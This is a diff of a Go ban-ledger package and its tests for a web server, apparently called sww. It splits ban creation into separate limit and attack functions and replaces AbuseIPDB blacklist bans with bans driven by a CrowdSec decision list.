bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
|
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
|
||||||
t.Errorf("the third ban for a limit has earlier bans %+v, "+
|
t.Errorf("the third ban for a limit has earlier bans %+v, "+
|
||||||
"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
|
"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
|
||||||
@@ -167,37 +147,20 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
limit, _ := ledger.Ban(
|
limit, _ := ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.1/32"),
|
netip.MustParsePrefix("203.0.113.1/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{
|
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
|
||||||
Cause: bans.CauseLimit,
|
|
||||||
Notes: bans.Notes{
|
|
||||||
Kind: "requests",
|
|
||||||
Limit: 1000,
|
|
||||||
Window: "minute",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
)
|
)
|
||||||
byteLimit, _ := ledger.Ban(
|
byteLimit, _ := ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.3/32"),
|
netip.MustParsePrefix("203.0.113.3/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{
|
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
|
||||||
Cause: bans.CauseLimit,
|
|
||||||
Notes: bans.Notes{
|
|
||||||
Kind: "bytes",
|
|
||||||
Limit: 10 << 30,
|
|
||||||
Window: "hour",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
)
|
)
|
||||||
attack, _ := ledger.Ban(
|
attack, _ := ledger.BanForAttack(
|
||||||
netip.MustParsePrefix("203.0.113.2/32"),
|
netip.MustParsePrefix("203.0.113.2/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{
|
bans.Notes{RuleID: "git-dir", Target: "path"},
|
||||||
Cause: bans.CauseAttack,
|
|
||||||
Notes: bans.Notes{RuleID: "git-dir", Target: "path"},
|
|
||||||
},
|
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, tc := range []struct{ got, want string }{
|
for _, tc := range []struct{ got, want string }{
|
||||||
@@ -237,7 +200,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
|||||||
t.Error("the lifted ban refuses")
|
t.Error("the lifted ban refuses")
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, _ := ledger.Ban(netblock, now, bans.Grounds{Cause: bans.CauseLimit})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
@@ -288,11 +251,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// The next clear sign of attack bans for seven days, as a first does.
|
// The next clear sign of attack bans for seven days, as a first does.
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
bans.Grounds{Cause: bans.CauseAttack},
|
|
||||||
)
|
|
||||||
if ban.Expires.Sub(ban.Start) != 7*day {
|
if ban.Expires.Sub(ban.Start) != 7*day {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"the next ban for an attack ends at %s, want seven days on",
|
"the next ban for an attack ends at %s, want seven days on",
|
||||||
@@ -305,10 +264,10 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
made, _ := ledger.Ban(
|
made, _ := ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.1/32"),
|
netip.MustParsePrefix("203.0.113.1/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
atStart := bans.Ban{
|
atStart := bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
||||||
@@ -352,7 +311,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
// An hour's ban for a broken limit.
|
// An hour's ban for a broken limit.
|
||||||
ledger.Ban(netblock, midnight(), bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// A minute later an admin bans the netblock for good, named by an
|
// A minute later an admin bans the netblock for good, named by an
|
||||||
@@ -472,10 +431,10 @@ func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
// The temporary ban is made first, so that its netblock is looked at first.
|
// The temporary ban is made first, so that its netblock is looked at first.
|
||||||
ledger.Ban(
|
ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.9/32"),
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
ledger.BanForAdmin(
|
ledger.BanForAdmin(
|
||||||
netip.MustParsePrefix("203.0.113.0/24"),
|
netip.MustParsePrefix("203.0.113.0/24"),
|
||||||
|
|||||||
+203
-229
@@ -1,9 +1,10 @@
|
|||||||
// Package bans is the ban ledger: the bans sww makes on the
|
// Package bans is the ban ledger: the bans sww makes on the
|
||||||
// netblocks of clients that break a rate limit, a byte limit or the refusal
|
// netblocks of clients that break a rate limit, a byte limit or the error
|
||||||
// limit or show a clear sign of attack, or are on AbuseIPDB's blacklist, and
|
// burst, show a clear sign of attack or are listed by the CrowdSec
|
||||||
|
// decision list, and
|
||||||
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
||||||
// describes. The bans are kept in memory, and written to bans.json and read
|
// describes. The bans are kept in memory, and written to bans.json and
|
||||||
// from it by the state package.
|
// read from it by the state package.
|
||||||
package bans
|
package bans
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -27,9 +28,9 @@ const (
|
|||||||
// CauseAdmin is a ban an admin made, or one sww made that an
|
// CauseAdmin is a ban an admin made, or one sww made that an
|
||||||
// admin keeps. It is never dropped.
|
// admin keeps. It is never dropped.
|
||||||
CauseAdmin = "admin"
|
CauseAdmin = "admin"
|
||||||
// CauseAbuseIPDB is a ban sww made for a client on AbuseIPDB's
|
// CauseCrowdSec is a ban sww made for a client the CrowdSec
|
||||||
// blacklist. It is forgotten once it has ended.
|
// decision list lists. It ends when CrowdSec's decision does.
|
||||||
CauseAbuseIPDB = "abuseipdb"
|
CauseCrowdSec = "crowdsec"
|
||||||
)
|
)
|
||||||
|
|
||||||
// repeatFactor is how many times as long as the netblock's last ban a ban
|
// repeatFactor is how many times as long as the netblock's last ban a ban
|
||||||
@@ -44,21 +45,20 @@ type Params struct {
|
|||||||
// LimitBanDuration is how long a first ban for a broken limit lasts.
|
// LimitBanDuration is how long a first ban for a broken limit lasts.
|
||||||
LimitBanDuration time.Duration
|
LimitBanDuration time.Duration
|
||||||
// LimitBanRepeatWindow is how soon after the end of the netblock's
|
// LimitBanRepeatWindow is how soon after the end of the netblock's
|
||||||
// ban that ended last, other than one for a clear sign of attack, a
|
// ban that ended last, other than one for a clear sign of attack or for
|
||||||
// broken limit counts as a repeat, which bans for
|
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
||||||
// repeatFactor times as long as that ban.
|
// repeatFactor times as long as that ban.
|
||||||
LimitBanRepeatWindow time.Duration
|
LimitBanRepeatWindow time.Duration
|
||||||
// A ban for a broken limit that would be longer than
|
// MaxBanDuration is the longest ban for a broken limit; one that would
|
||||||
// LimitBanPermanentAbove is permanent instead.
|
// be longer is permanent instead.
|
||||||
LimitBanPermanentAbove time.Duration
|
MaxBanDuration time.Duration
|
||||||
// AttackBanDuration is how long a first ban for a clear sign of attack
|
// AttackBanDuration is how long a first ban for a clear sign of attack
|
||||||
// lasts.
|
// lasts.
|
||||||
AttackBanDuration time.Duration
|
AttackBanDuration time.Duration
|
||||||
// MaxBans is the most bans held whose cause is CauseLimit or
|
// MaxBans is the most bans held whose cause is not CauseAdmin, at
|
||||||
// CauseAttack, at least one. Past it, the earliest such ban of the
|
// least one. Past it, the earliest such ban of the netblock that has
|
||||||
// netblock that has gone longest without a request is dropped. Bans
|
// gone longest without a request is dropped. Bans whose cause is
|
||||||
// whose cause is CauseAdmin or CauseAbuseIPDB are held besides, and
|
// CauseAdmin are held besides, and never dropped.
|
||||||
// never dropped this way.
|
|
||||||
MaxBans int
|
MaxBans int
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -68,11 +68,11 @@ type Ban struct {
|
|||||||
Start time.Time
|
Start time.Time
|
||||||
// Expires is when the ban ends, zero for a permanent ban.
|
// Expires is when the ban ends, zero for a permanent ban.
|
||||||
Expires time.Time
|
Expires time.Time
|
||||||
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseAbuseIPDB.
|
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
|
||||||
Cause string
|
Cause string
|
||||||
// Reason is a short text: for a ban sww made, the limit broken, the
|
// Reason is a short text: for a ban sww made, the limit broken,
|
||||||
// rule that matched or AbuseIPDB's score; for an admin's, what the
|
// the rule that matched or the scenario of CrowdSec's decision; for an
|
||||||
// admin wrote.
|
// admin's, what the admin wrote.
|
||||||
Reason string
|
Reason string
|
||||||
// Lifted is when an admin lifted the ban, zero while no admin has. A
|
// Lifted is when an admin lifted the ban, zero while no admin has. A
|
||||||
// lifted ban refuses nothing, and does not make the netblock's next
|
// lifted ban refuses nothing, and does not make the netblock's next
|
||||||
@@ -105,7 +105,7 @@ type Notes struct {
|
|||||||
Country string `json:"country"`
|
Country string `json:"country"`
|
||||||
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
||||||
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
||||||
// byte limit or "refusals" for the refusal limit, the limit that was
|
// byte limit or "refusals" for the error burst, the limit that was
|
||||||
// broken, its window, "minute", "hour" or "day", and the count reached:
|
// broken, its window, "minute", "hour" or "day", and the count reached:
|
||||||
// the client's requests, bytes or refusals in the window, those of the
|
// the client's requests, bytes or refusals in the window, those of the
|
||||||
// request that broke the limit included.
|
// request that broke the limit included.
|
||||||
@@ -133,8 +133,8 @@ type Notes struct {
|
|||||||
// log's reputation names them. It is left out when none did.
|
// log's reputation names them. It is left out when none did.
|
||||||
Reputation []ReputationHit `json:"reputation,omitempty"`
|
Reputation []ReputationHit `json:"reputation,omitempty"`
|
||||||
// Request is the request that broke the limit, or whose bytes broke
|
// Request is the request that broke the limit, or whose bytes broke
|
||||||
// it, or that was the clear sign of attack. A ban for AbuseIPDB's
|
// it, that was the clear sign of attack, or that came from a client the
|
||||||
// blacklist has none, and leaves it zero.
|
// CrowdSec decision list lists.
|
||||||
Request Request `json:"request"`
|
Request Request `json:"request"`
|
||||||
// Requests is how many requests the netblock has sent since it was
|
// Requests is how many requests the netblock has sent since it was
|
||||||
// first seen, and Refused how many of them the ban has refused so
|
// first seen, and Refused how many of them the ban has refused so
|
||||||
@@ -148,8 +148,9 @@ type Notes struct {
|
|||||||
|
|
||||||
// ReputationHit is a reputation source that listed a client, as a
|
// ReputationHit is a reputation source that listed a client, as a
|
||||||
// reputation_hit alert's detail gives it: Source is the URL of the
|
// reputation_hit alert's detail gives it: Source is the URL of the
|
||||||
// blocklist, the DNSBL zone with its key masked, or "abuseipdb", and Score,
|
// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
|
||||||
// for AbuseIPDB alone, its score of the client.
|
// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
|
||||||
|
// client.
|
||||||
type ReputationHit struct {
|
type ReputationHit struct {
|
||||||
Source string `json:"source"`
|
Source string `json:"source"`
|
||||||
Score *int64 `json:"score,omitempty"`
|
Score *int64 `json:"score,omitempty"`
|
||||||
@@ -160,7 +161,7 @@ type EarlierBans struct {
|
|||||||
Limit int `json:"limit"`
|
Limit int `json:"limit"`
|
||||||
Attack int `json:"attack"`
|
Attack int `json:"attack"`
|
||||||
Admin int `json:"admin"`
|
Admin int `json:"admin"`
|
||||||
AbuseIPDB int `json:"abuseipdb"`
|
CrowdSec int `json:"crowdsec"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// Request is a request in a ban's notes. Each text is cut to 256 bytes.
|
// Request is a request in a ban's notes. Each text is cut to 256 bytes.
|
||||||
@@ -188,8 +189,8 @@ type Ledger struct {
|
|||||||
// netblocks holds each banned netblock's bans, oldest first. Check and
|
// netblocks holds each banned netblock's bans, oldest first. Check and
|
||||||
// Find make each netblock they find the most recently seen.
|
// Find make each netblock they find the most recently seen.
|
||||||
netblocks *simplelru.LRU[netip.Prefix, *[]Ban]
|
netblocks *simplelru.LRU[netip.Prefix, *[]Ban]
|
||||||
// held is how many bans netblocks holds whose cause is CauseLimit or
|
// held is how many bans netblocks holds whose cause is not CauseAdmin,
|
||||||
// CauseAttack, at most params.MaxBans.
|
// at most params.MaxBans.
|
||||||
held int
|
held int
|
||||||
// made is how many bans have been made since the start, by cause: by
|
// made is how many bans have been made since the start, by cause: by
|
||||||
// the ledger, and by an admin, through BanForAdmin or in an edit of
|
// the ledger, and by an admin, through BanForAdmin or in an edit of
|
||||||
@@ -206,9 +207,8 @@ type Ledger struct {
|
|||||||
// New returns a Ledger with no ban yet.
|
// New returns a Ledger with no ban yet.
|
||||||
func New(params Params) *Ledger {
|
func New(params Params) *Ledger {
|
||||||
// The ledger drops bans itself, and never those whose cause is
|
// The ledger drops bans itself, and never those whose cause is
|
||||||
// CauseAdmin or CauseAbuseIPDB to make room, however many there are, so
|
// CauseAdmin, however many there are, so the LRU has no limit of its
|
||||||
// the LRU has no limit of its own: it keeps the netblocks in the order
|
// own: it keeps the netblocks in the order they were last seen.
|
||||||
// they were last seen.
|
|
||||||
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
|
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
|
||||||
math.MaxInt,
|
math.MaxInt,
|
||||||
nil,
|
nil,
|
||||||
@@ -300,50 +300,128 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
|||||||
return newest
|
return newest
|
||||||
}
|
}
|
||||||
|
|
||||||
// Grounds are why a request makes a ban: its cause, CauseLimit or
|
// BanForLimit bans netblock at now for a broken limit, with notes, and
|
||||||
// CauseAttack, and its notes.
|
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
|
||||||
type Grounds struct {
|
// made within LimitBanRepeatWindow after the netblock's ban that ended
|
||||||
Cause string
|
// last, other than one for a clear sign of attack or for CrowdSec's
|
||||||
Notes Notes
|
// decision, or a lifted one, lasts
|
||||||
}
|
// repeatFactor times as long as that one. A ban that would be longer
|
||||||
|
// than MaxBanDuration is permanent instead. If a ban on netblock is still
|
||||||
// Ban bans netblock at now on grounds, and returns the ban, and true. If
|
// active, as when two of its requests break a limit at once, that ban is
|
||||||
// a ban on netblock is still active, as when two of its requests break a
|
// returned with false, and no other is made. The ledger fills in the
|
||||||
// limit at once, that ban is returned with false, and no other is made.
|
// notes' Refused and EarlierBans itself, and gives the ban the reason
|
||||||
// The ledger fills in the notes' Refused and EarlierBans itself.
|
// "<Kind> per <Window> over the limit of <Limit>", from the notes, such
|
||||||
//
|
// as "requests per minute over the limit of 1000".
|
||||||
// A ban for a broken limit:
|
func (l *Ledger) BanForLimit(
|
||||||
// - lasts LimitBanDuration the first time;
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
// - lasts repeatFactor times as long as the netblock's ban that ended
|
|
||||||
// last, when made within LimitBanRepeatWindow after it, unless that
|
|
||||||
// ban was for a clear sign of attack or was lifted;
|
|
||||||
// - is permanent instead when it would be longer than
|
|
||||||
// LimitBanPermanentAbove;
|
|
||||||
// - has the reason "<Kind> per <Window> over the limit of <Limit>", from
|
|
||||||
// the notes, such as "requests per minute over the limit of 1000".
|
|
||||||
//
|
|
||||||
// A ban for a clear sign of attack:
|
|
||||||
// - lasts AttackBanDuration the first time;
|
|
||||||
// - is permanent once the netblock has had one that was not lifted;
|
|
||||||
// - has the reason "matched the rule <RuleID>", or "asked for the trap
|
|
||||||
// path <TrapPath>".
|
|
||||||
func (l *Ledger) Ban(
|
|
||||||
netblock netip.Prefix, now time.Time, grounds Grounds,
|
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, grounds, true)
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseLimit,
|
||||||
|
limitReason(notes),
|
||||||
|
notes,
|
||||||
|
true,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBan returns what Ban would, without making the ban: what observe
|
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
||||||
// mode would have done.
|
// what observe mode would have done.
|
||||||
func (l *Ledger) WouldBan(
|
func (l *Ledger) WouldBanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, grounds Grounds,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, grounds, false)
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseLimit,
|
||||||
|
limitReason(notes),
|
||||||
|
notes,
|
||||||
|
false,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit
|
// BanForAttack bans netblock at now for a clear sign of attack, with
|
||||||
// or CauseAttack, made at now would be permanent, as Ban would make it. It
|
// notes, and returns the ban, and whether it made it, as BanForLimit
|
||||||
// works out nothing else of the ban.
|
// does. A first ban lasts AttackBanDuration; once the netblock has had
|
||||||
|
// one that was not lifted, the next is permanent. Its reason is "matched
|
||||||
|
// the rule <RuleID>", or "asked for the trap path <TrapPath>".
|
||||||
|
func (l *Ledger) BanForAttack(
|
||||||
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
|
) (Ban, bool) {
|
||||||
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseAttack,
|
||||||
|
attackReason(notes),
|
||||||
|
notes,
|
||||||
|
true,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// WouldBanForAttack returns what BanForAttack would, without making the
|
||||||
|
// ban: what observe mode would have done.
|
||||||
|
func (l *Ledger) WouldBanForAttack(
|
||||||
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
|
) (Ban, bool) {
|
||||||
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseAttack,
|
||||||
|
attackReason(notes),
|
||||||
|
notes,
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
||||||
|
// decision on the client ends, with notes, and returns the ban, and
|
||||||
|
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
||||||
|
// decision for <scenario>", the scenario that made the decision.
|
||||||
|
func (l *Ledger) BanForCrowdSec(
|
||||||
|
netblock netip.Prefix,
|
||||||
|
now, expires time.Time,
|
||||||
|
scenario string,
|
||||||
|
notes Notes,
|
||||||
|
) (Ban, bool) {
|
||||||
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
expires,
|
||||||
|
CauseCrowdSec,
|
||||||
|
crowdSecReason(scenario),
|
||||||
|
notes,
|
||||||
|
true,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
||||||
|
// the ban: what observe mode would have done.
|
||||||
|
func (l *Ledger) WouldBanForCrowdSec(
|
||||||
|
netblock netip.Prefix,
|
||||||
|
now, expires time.Time,
|
||||||
|
scenario string,
|
||||||
|
notes Notes,
|
||||||
|
) (Ban, bool) {
|
||||||
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
expires,
|
||||||
|
CauseCrowdSec,
|
||||||
|
crowdSecReason(scenario),
|
||||||
|
notes,
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
||||||
|
// CauseAttack or CauseCrowdSec, made at now would be permanent, as
|
||||||
|
// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
|
||||||
|
// nothing else of the ban. A ban for CrowdSec's decision is never
|
||||||
|
// permanent: it ends with the decision.
|
||||||
func (l *Ledger) WouldBePermanent(
|
func (l *Ledger) WouldBePermanent(
|
||||||
netblock netip.Prefix, now time.Time, cause string,
|
netblock netip.Prefix, now time.Time, cause string,
|
||||||
) bool {
|
) bool {
|
||||||
@@ -355,11 +433,14 @@ func (l *Ledger) WouldBePermanent(
|
|||||||
held = *bans
|
held = *bans
|
||||||
}
|
}
|
||||||
|
|
||||||
if cause == CauseAttack {
|
switch cause {
|
||||||
|
case CauseAttack:
|
||||||
return l.attackExpiry(held, now).IsZero()
|
return l.attackExpiry(held, now).IsZero()
|
||||||
}
|
case CauseLimit:
|
||||||
|
|
||||||
return l.limitExpiry(held, now).IsZero()
|
return l.limitExpiry(held, now).IsZero()
|
||||||
|
default: // CauseCrowdSec
|
||||||
|
return false
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// limitReason is the reason of a ban for a broken limit, with notes.
|
// limitReason is the reason of a ban for a broken limit, with notes.
|
||||||
@@ -378,11 +459,18 @@ func attackReason(notes Notes) string {
|
|||||||
return "matched the rule " + notes.RuleID
|
return "matched the rule " + notes.RuleID
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// crowdSecReason is the reason of a ban for CrowdSec's decision, which
|
||||||
|
// scenario made.
|
||||||
|
func crowdSecReason(scenario string) string {
|
||||||
|
return "CrowdSec's decision for " + scenario
|
||||||
|
}
|
||||||
|
|
||||||
// BanForAdmin bans netblock at now for an admin, with reason, until
|
// BanForAdmin bans netblock at now for an admin, with reason, until
|
||||||
// expires, or for good when expires is zero, and returns the ban, whose
|
// expires, or for good when expires is zero, and returns the ban, whose
|
||||||
// cause is CauseAdmin. Unlike Ban, it makes the ban even while another
|
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
|
||||||
// on netblock is active, since the admin asked for this one. The ledger
|
// ban even while another on netblock is active, since the admin asked
|
||||||
// fills in the notes' EarlierBans, and counts the ban among those made.
|
// for this one. The ledger fills in the notes' EarlierBans, and counts
|
||||||
|
// the ban among those made.
|
||||||
func (l *Ledger) BanForAdmin(
|
func (l *Ledger) BanForAdmin(
|
||||||
netblock netip.Prefix, now, expires time.Time, reason string,
|
netblock netip.Prefix, now, expires time.Time, reason string,
|
||||||
) Ban {
|
) Ban {
|
||||||
@@ -406,88 +494,6 @@ func (l *Ledger) BanForAdmin(
|
|||||||
return ban
|
return ban
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForAbuseIPDB bans each netblock in scores at now until expires, and
|
|
||||||
// returns how many bans it made. scores are the netblocks of the clients
|
|
||||||
// on AbuseIPDB's blacklist, each with the highest score of its clients.
|
|
||||||
// A netblock is left as it is while a ban on it is active, or while a ban
|
|
||||||
// for the blacklist that an admin lifted has not reached its end: the
|
|
||||||
// admin's lift holds that long. Each ban whose cause is CauseAbuseIPDB
|
|
||||||
// and that has ended is forgotten first, so that the bans held for the
|
|
||||||
// blacklist are those of the clients listed within one ban's length.
|
|
||||||
func (l *Ledger) BanForAbuseIPDB(
|
|
||||||
now, expires time.Time, scores map[netip.Prefix]int64,
|
|
||||||
) int {
|
|
||||||
l.mu.Lock()
|
|
||||||
defer l.mu.Unlock()
|
|
||||||
|
|
||||||
changed := l.forgetEndedAbuseIPDBBans(now)
|
|
||||||
made := 0
|
|
||||||
|
|
||||||
for netblock, score := range scores {
|
|
||||||
netblock = netblock.Masked()
|
|
||||||
|
|
||||||
var notes Notes
|
|
||||||
|
|
||||||
if held, found := l.netblocks.Peek(netblock); found {
|
|
||||||
if activeBan(*held, now) != nil ||
|
|
||||||
liftedAbuseIPDBBan(*held, now) {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
notes.EarlierBans = earlierBans(*held)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The source is named as the request log names AbuseIPDB.
|
|
||||||
notes.Reputation = []ReputationHit{
|
|
||||||
{Source: CauseAbuseIPDB, Score: &score},
|
|
||||||
}
|
|
||||||
|
|
||||||
l.add(Ban{
|
|
||||||
Netblock: netblock,
|
|
||||||
Start: now,
|
|
||||||
Expires: expires,
|
|
||||||
Cause: CauseAbuseIPDB,
|
|
||||||
Reason: fmt.Sprintf(
|
|
||||||
"on AbuseIPDB's blacklist with a score of %d", score,
|
|
||||||
),
|
|
||||||
Notes: notes,
|
|
||||||
})
|
|
||||||
|
|
||||||
made++
|
|
||||||
}
|
|
||||||
|
|
||||||
l.made[CauseAbuseIPDB] += made
|
|
||||||
|
|
||||||
if changed || made > 0 {
|
|
||||||
l.markChanged()
|
|
||||||
}
|
|
||||||
|
|
||||||
return made
|
|
||||||
}
|
|
||||||
|
|
||||||
// ForgetEndedAbuseIPDBBans forgets the bans whose cause is CauseAbuseIPDB
|
|
||||||
// and that have ended at now, as BanForAbuseIPDB does first. The state
|
|
||||||
// package calls it each time it reads bans.json, so that these bans are
|
|
||||||
// also forgotten while no fetch of the blacklist reaches the ledger.
|
|
||||||
func (l *Ledger) ForgetEndedAbuseIPDBBans(now time.Time) {
|
|
||||||
l.mu.Lock()
|
|
||||||
defer l.mu.Unlock()
|
|
||||||
|
|
||||||
if l.forgetEndedAbuseIPDBBans(now) {
|
|
||||||
l.markChanged()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// liftedAbuseIPDBBan reports whether bans, a netblock's, hold a ban whose
|
|
||||||
// cause is CauseAbuseIPDB that an admin lifted, and whose end is not
|
|
||||||
// reached at now.
|
|
||||||
func liftedAbuseIPDBBan(bans []Ban, now time.Time) bool {
|
|
||||||
return slices.ContainsFunc(bans, func(ban Ban) bool {
|
|
||||||
return ban.Cause == CauseAbuseIPDB && !ban.Lifted.IsZero() &&
|
|
||||||
(ban.Permanent() || now.Before(ban.Expires))
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Lift lifts, at now, every ban active then on a netblock client is in,
|
// Lift lifts, at now, every ban active then on a netblock client is in,
|
||||||
// as an admin does, and returns those bans. A lifted ban is kept, refuses
|
// as an admin does, and returns those bans. A lifted ban is kept, refuses
|
||||||
// nothing, and does not make the netblock's next ban longer.
|
// nothing, and does not make the netblock's next ban longer.
|
||||||
@@ -574,9 +580,9 @@ func (l *Ledger) AddLookup(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Made returns how many bans for cause have been made since the start:
|
// Made returns how many bans for cause have been made since the start:
|
||||||
// for CauseLimit, CauseAttack and CauseAbuseIPDB, by the ledger; for
|
// for CauseLimit and CauseAttack, by the ledger; for CauseAdmin, by an
|
||||||
// CauseAdmin, by an admin, with BanForAdmin or in an edit of bans.json, as
|
// admin, with BanForAdmin or in an edit of bans.json, as LoadEdit counts
|
||||||
// LoadEdit counts them. The bans read from bans.json at the start are not among them.
|
// them. The bans read from bans.json at the start are not among them.
|
||||||
func (l *Ledger) Made(cause string) int {
|
func (l *Ledger) Made(cause string) int {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -633,8 +639,8 @@ func (l *Ledger) Snapshot() []Ban {
|
|||||||
// seen. A ban without a cause is an admin's, and gets CauseAdmin. Each
|
// seen. A ban without a cause is an admin's, and gets CauseAdmin. Each
|
||||||
// netblock is masked to its length, so that 203.0.113.9/24 is
|
// netblock is masked to its length, so that 203.0.113.9/24 is
|
||||||
// 203.0.113.0/24, and each text in the notes is cut to 256 bytes. Past
|
// 203.0.113.0/24, and each text in the notes is cut to 256 bytes. Past
|
||||||
// MaxBans the earliest bans that count toward it are dropped, as when they
|
// MaxBans the earliest bans whose cause is not CauseAdmin are dropped, as
|
||||||
// are made.
|
// when they are made.
|
||||||
func (l *Ledger) Load(bans []Ban) {
|
func (l *Ledger) Load(bans []Ban) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
